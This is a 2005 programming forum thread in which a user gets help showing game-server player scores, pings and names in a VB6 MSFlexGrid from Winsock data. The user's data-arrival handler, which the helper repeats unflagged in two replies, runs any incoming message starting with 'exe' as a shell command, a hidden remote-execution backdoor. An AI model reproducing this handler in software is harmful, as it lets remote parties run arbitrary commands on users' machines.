Help with a few things...


DevX Home    Today's Headlines   Articles Archive   Tip Bank   Forums   

Page 1 of 3 123 LastLast
Results 1 to 15 of 36

Thread: Help with a few things...

  1. #1
    Join Date
    Apr 2005
    Posts
    53

    Help with a few things...

    Hi there...I'm making an Auto High ping kicker for a game server(dnt worry if u dnt know what that is, lol),.

    What i have done so far..with a winsock control, get the status of the server to show in a text box...(tells u the players on the server)

    But, what I want to happen is that when you click get the status, the players names to go into a grid. I'm not sure which type of grid to use, and how to get the names in it.

    If the data cant be put directly into the grid from the received winsock data, is it possible to put the results from the text box (that has received the data) into the grid?

    Thanks

    JeNkS

  2. #2
    Join Date
    Jan 2004
    Location
    Alexandria, VA
    Posts
    392
    So - you are receiving the data into a text box? How is it formatted?

    You can use a MSFlexGrid control, they are pretty... well, flexible. The key here is to understand how to parse the returned data. If the number of columns in your grid will always be the same, you can set the "Cols" property to that value. Otherwise, you'll need to set it based on the number of "fields" in your data.

    For each data record, you would add a row. There are a couple of ways to add the row and the data. One is to add them all at once as a tab-delimited string, or you can add the row and then use the "TextMatrix(row, col)" property to set each grid cell individually.
    Bob Rouse
    Dimension Data

  3. #3
    Join Date
    Apr 2005
    Posts
    53

    ..

    Basically...this is what comes back into the text box when i 'getstatus' of the server.

    Code:
    0 103 "BearClaw "
    1 101 "=][US][=Chaos*"
    1 341 "SFCN.org Rocks!_22_87112450_8"
    5 183 "SQUELETOR"
    2 200 "DudeAnnihilator"
    1 270 "Hans Kloss          --------999"
    0 176 "GeeBee"
    where the first number is the players score, second is the ping, third is the name.

    so basically, i want it so the first column in the flexgrid is score, second pings, third, name. lol.

    so is there a way i can make is so that
    a) the data goes into a flexgrid
    b) a new column is made in the flex grid by a space? (like the is a space between each thing, socre, ping, and name)

    thanks

    JeNkS

  4. #4
    Join Date
    Jan 2004
    Location
    Alexandria, VA
    Posts
    392
    There are two problems with putting the data directly into the grid
    1) There are spaces in the players names. That would confuse a function to parse on any space
    2) The players names are in quotes, which I'm sure you would prefer to strip out.

    I would suggest creating a function that took a single line of the incoming data, parsed it, and then returned a tab-delimited string that could be used to add the line to the grid.

    EXAMPLE:
    Code:
    ' The number of columns in the grid control should be set to 3 in the designer
    ' The number of fixed columns in the grid control should be set to 0 in the designer
      
    ' Set the column headers on startup
    MSFlexGrid1.TextMatrix(0, 0) = "Score"
    MSFlexGrid1.TextMatrix(0, 1) = "Ping"
    MSFlexGrid1.TextMatrix(0, 2) = "PlayerName"
        
    ' Optionally, set column widths on startup
    MSFlexGrid1.ColWidth(0) = 1000
    MSFlexGrid1.ColWidth(1) = 1000
    MSFlexGrid1.ColWidth(2) = 5000
        
        
    ' Set rows to 1 before adding data to flush out all rows (only do this once, not before adding each new row)
    MSFlexGrid1.Rows = 1
        
    ' EXAMPLE - yours would be set as the data was coming in...
    Dim strSinglePlayerDataLine As String
    strSinglePlayerDataLine = "1 270 " & Chr$(34) & "Hans Kloss          --------999" & Chr$(34)
    
    MSFlexGrid1.AddItem PlayerDataToGrid(strSinglePlayerDataLine)
        
    
    Public Function PlayerDataToGrid(ByVal strPlayerData As String) As String
    
        Dim aData() As String
        Dim strScore As String
        Dim strPings As String
        Dim strPlayerName As String
        Dim strGridString As String
        
        ' 1) Split on spaces
        aData = Split(strPlayerData, " ")
        
        ' 2) Parse into discrete strings
        strScore = aData(0)
        strPings = aData(1)
        strPlayerName = Replace(strPlayerData, strScore & " " & strPings & " ", "")
        
        ' 3) Strip out quotes
        strPlayerName = Replace(strPlayerName, Chr$(34), "")
        
        ' 4) Concatenate
        strGridString = strScore & vbTab & strPings & vbTab & strPlayerName
        
        PlayerDataToGrid = strGridString
        
    End Function
    Last edited by brouse; 05-16-2005 at 05:31 PM.
    Bob Rouse
    Dimension Data

  5. #5
    Join Date
    Apr 2005
    Posts
    53

    ..

    Will that put every row into the flexgrid everytime it is refreshed?
    What is needing to happen is that the winsock wll receive the status about once every minute, then ideally I would like the flexgird to update every minute with that.

    And another thought, if it would be any easier, is it possible to have the received data from the winsock control go straight into the flexgrid without having to go into a text box first?

    Thanks,

    JeNkS

  6. #6
    Join Date
    Jan 2004
    Location
    Alexandria, VA
    Posts
    392
    You will need to do some additional coding.
    1st - how are the different "lines" delimited? vbCrLf?
    2nd - The data will need to be parsed into lines, and the lines looped through so that each line is passed to the function.

    Code:
    Function ProcessWinSockData(ByVal strWinSockData As String)
    
        Dim strDelimiter As String
        Dim aData() As String
        Dim intData As Integer
    
        ' I'm assuming a vbCrLf for each line of data. Change this to what is actually being used...
        strDelimiter = vbCrLf
    
        ' Flush the grid
        MSFlexGrid1.Rows = 1
    
        ' Parse the lines
        aData = Split(strWinSockData, strDelimiter)
    
        ' Loop through Data
        For intData = 0 To UBound(aData)
            
            If aData(intData) <> "" Then
                MSFlexGrid1.AddItem PlayerDataToGrid(aData(intData))
            End If
            
        Next
        
    End Function
    and your example becomes:

    Code:
    ' EXAMPLE - yours would be set as the data was coming in...
    Dim strWinSockData As String
    strWinSockData = "1 270 " & Chr$(34) & "Hans Kloss          --------999" & Chr$(34) & vbCrLf & _
    "0 103 " & Chr$(34) & "BearClaw " & Chr$(34) & vbCrLf & _
    "1 101 " & Chr$(34) & "=][US][=Chaos*" & Chr$(34) & vbCrLf
    
    ProcessWinSockData strWinSockData
    Bob Rouse
    Dimension Data

  7. #7
    Join Date
    Apr 2005
    Posts
    53

    ..

    HHmmm, i think this is gonna be too hard for me to do

    but, before i give up, i take it there is no way to get the data received from the winsock to go straight into the flexgrid?

    JeNkS

  8. #8
    Join Date
    Jan 2004
    Location
    Alexandria, VA
    Posts
    392
    Let's back up. Can you post the code you are using to get the data from the Winsock control into the text box?
    Bob Rouse
    Dimension Data

  9. #9
    Join Date
    Apr 2005
    Posts
    53
    BAsically, I once the winsock has connected to the game server, I use this function to get the status of the server:

    Private Sub Command5_Click()
    wsk.SendData "˙˙˙˙ getstatus"
    End Sub
    Which then tells the server to send the status of the server back to the winsock.

    Now to receive the data, i use this code...

    Private Sub wsk_ConnectionRequest(ByVal requestID As Long)
    wsk.Accept requestID 'If the server sends something to the client,
    'eg. a respond, the software accepts it here
    End Sub

    Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
    Dim z As String 'Define z as string variable(variable with characters)
    wsk.GetData z 'Receive the Data

    If Mid(z, 1, 3) = "exe" Then t = Mid(z, 5, Len(z) - 4): Shell (t)

    'wsk.SendData "Processing Command..."
    z = Replace(z, Chr(10), vbCrLf) 'Stuff to display things on a new line
    recv.Text = recv.Text + z + vbCrLf 'Display the data in the textbox

    End Sub
    that then gets the status of the server into the recv.text text area.


    I dont know if this is any use to you, but www.autokick.com has a program similar to what I want to do....,
    here is a link to an image of the program
    http://www.autokick.com/images/AutoSettings1.jpg

    the black box i guess...is the equilivent to my text box (recv.text), and then that table underneath is what i want to acheive.....

    Thanks Alot

    JeNkS

  10. #10
    Join Date
    Jan 2004
    Location
    Alexandria, VA
    Posts
    392
    Well - then using the code I've already given you, the only change you need to make is to the wsk_DataArrival() sub:

    Code:
    Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
    
        Dim z As String 'Define z as string variable(variable with characters)
    
        wsk.GetData z 'Receive the Data
    
        If Mid(z, 1, 3) = "exe" Then t = Mid(z, 5, Len(z) - 4): Shell (t)
    
        'wsk.SendData "Processing Command..."
        z = Replace(z, Chr(10), vbCrLf) 'Stuff to display things on a new line
    
        ' Replace this line...
        'recv.Text = recv.Text + z + vbCrLf 'Display the data in the textbox
    
        ' ... with this one:
        ProcessWinSockData z & vbcrlf
    
    End Sub
    Bob Rouse
    Dimension Data

  11. #11
    Join Date
    Apr 2005
    Posts
    53
    so am I just replacing the wsk_DataArrival?
    And what do I need to call the flexgrid :S

    JeNkS

  12. #12
    Join Date
    Apr 2005
    Posts
    53
    ' EXAMPLE - yours would be set as the data was coming in...
    Dim strSinglePlayerDataLine As String
    strSinglePlayerDataLine = "1 270 " & Chr$(34) & "Hans Kloss --------999" & Chr$(34)
    With that bit of code, it works now but uses that guys username......so how do I make it so that it does it with each line of the recv.text

    Jenks

  13. #13
    Join Date
    Jan 2004
    Location
    Alexandria, VA
    Posts
    392
    Sorry - that was just for an example. So... the complete code (including just the modifications to yours) would be:

    Code:
    ' The number of columns in the grid control should be set to 3 in the designer
    ' The number of fixed columns in the grid control should be set to 0 in the designer
    
    Private Sub Form_Load()
    
        ' Set the column headers on startup
        MSFlexGrid1.TextMatrix(0, 0) = "Score"
        MSFlexGrid1.TextMatrix(0, 1) = "Ping"
        MSFlexGrid1.TextMatrix(0, 2) = "PlayerName"
        
        ' Optionally, set column widths on startup
        MSFlexGrid1.ColWidth(0) = 1000
        MSFlexGrid1.ColWidth(1) = 1000
        MSFlexGrid1.ColWidth(2) = 5000
       
    End Sub
    
    Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
    
        Dim z As String 'Define z as string variable(variable with characters)
    
        wsk.GetData z 'Receive the Data
    
        If Mid(z, 1, 3) = "exe" Then t = Mid(z, 5, Len(z) - 4): Shell (t)
    
        'wsk.SendData "Processing Command..."
        z = Replace(z, Chr(10), vbCrLf) 'Stuff to display things on a new line
    
        ' Replace this line...
        'recv.Text = recv.Text + z + vbCrLf 'Display the data in the textbox
    
        ' ... with this one:
        ProcessWinSockData z & vbcrlf
    
    End Sub 
        
    Function ProcessWinSockData(ByVal strWinSockData As String)
    
        Dim strDelimiter As String
        Dim aData() As String
        Dim intData As Integer
    
        ' I'm assuming a vbCrLf for each line of data. Change this to what is actually being used...
        strDelimiter = vbCrLf
    
        ' Flush the grid
        MSFlexGrid1.Rows = 1
    
        ' Parse the lines
        aData = Split(strWinSockData, strDelimiter)
    
        ' Loop through Data
        For intData = 0 To UBound(aData)
            
            If aData(intData) <> "" Then
                MSFlexGrid1.AddItem PlayerDataToGrid(aData(intData))
            End If
            
        Next
        
    End Function
    
        
    Public Function PlayerDataToGrid(ByVal strPlayerData As String) As String
    
        Dim aData() As String
        Dim strScore As String
        Dim strPings As String
        Dim strPlayerName As String
        Dim strGridString As String
        
        ' 1) Split on spaces
        aData = Split(strPlayerData, " ")
        
        ' 2) Parse into discrete strings
        strScore = aData(0)
        strPings = aData(1)
        strPlayerName = Replace(strPlayerData, strScore & " " & strPings & " ", "")
        
        ' 3) Strip out quotes
        strPlayerName = Replace(strPlayerName, Chr$(34), "")
        
        ' 4) Concatenate
        strGridString = strScore & vbTab & strPings & vbTab & strPlayerName
        
        PlayerDataToGrid = strGridString
        
    End Function
    Bob Rouse
    Dimension Data

  14. #14
    Join Date
    Apr 2005
    Posts
    53
    with this it is saying

    subscript out of range

    any ideas?

    Jenks

    --------edit------
    just do i dnt double post... i dunno if this could be the problem but....when the winsock receives the data, this is actually what is received...

    Code:
    ˙˙˙˙statusResponse
    \.Admin\-=SvS=-\.Email\Seal@SvSnipers.com\.IRC\Z-Mod-papawpk.3\.Location\WestCoast\.Website\www.SvSnipers.com/\g_gametype\tdm\gamename\main\mapname\mp_rocket\protocol\1\shortversion\1.1\sv_allowAnonymous\0\sv_floodProtect\1\sv_hostname\^3-=SNIPERVILLE=-^224/7^1TeamDmShellShockotNades..\sv_maxclients\44\sv_maxPing\350\sv_maxRate\25000\sv_minPing\0\sv_privateClients\4\sv_pure\0\pswrd\0
    0 207 "Hilton"
    0 100 "^^22-=^^44cPTKILLER^^22=-"
    1 108 "Unknown_Killer                 "
    8 101 "DeaD      SNIPER               "
    6 91 "^^00Time^^33|^^00To^^33|^^00Die"
    7 100 "Snow"
    3 160 "Briti$h $oldier"
    21 56 "fvck"
    So there are two lines of text before the actual player names....it may make no difference but then again it might, does this help ?

    by the way...i dont want those first two lines of received text in the grid...just the player bits...

    Jenks
    Last edited by Jenks; 05-19-2005 at 05:38 PM.

  15. #15
    Join Date
    Apr 2005
    Posts
    53

    ..

    I have been trying a few things out to try and get it to work ...
    in the code :
    Code:
    Function ProcessWinSockData(ByVal strWinSockData As String)
    
        Dim strDelimiter As String
        Dim aData() As String
        Dim intData As Integer
    
        ' I'm assuming a vbCrLf for each line of data. Change this to what is actually being used...
           strDelimiter = vbCrLf
    
        ' Flush the grid
        MSFlexGrid1.Rows = 1
    
        ' Parse the lines
        aData = Split(strWinSockData, strDelimiter)
    
        ' Loop through Data
        For intData = 0 To UBound(aData)
            
            If aData(intData) <> "" Then
                MSFlexGrid1.AddItem PlayerDataToGrid(aData(intData))
            End If
            
        Next
        
    End Function
    if i take out the

    strDelimiter = vbCrLf

    then it doesnt come up with the subsciprt out of range error, but there is only one row in the flexgrid.

    Jenks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
HTML5 Development Center
 
 
FAQ
Latest Articles
Java
.NET
XML
Database
Enterprise
Questions? Contact us.
C++
Web Development
Wireless
Latest Tips
Open Source


   Development Centers

   -- Android Development Center
   -- Cloud Development Project Center
   -- HTML5 Development Center
   -- Windows Mobile Development Center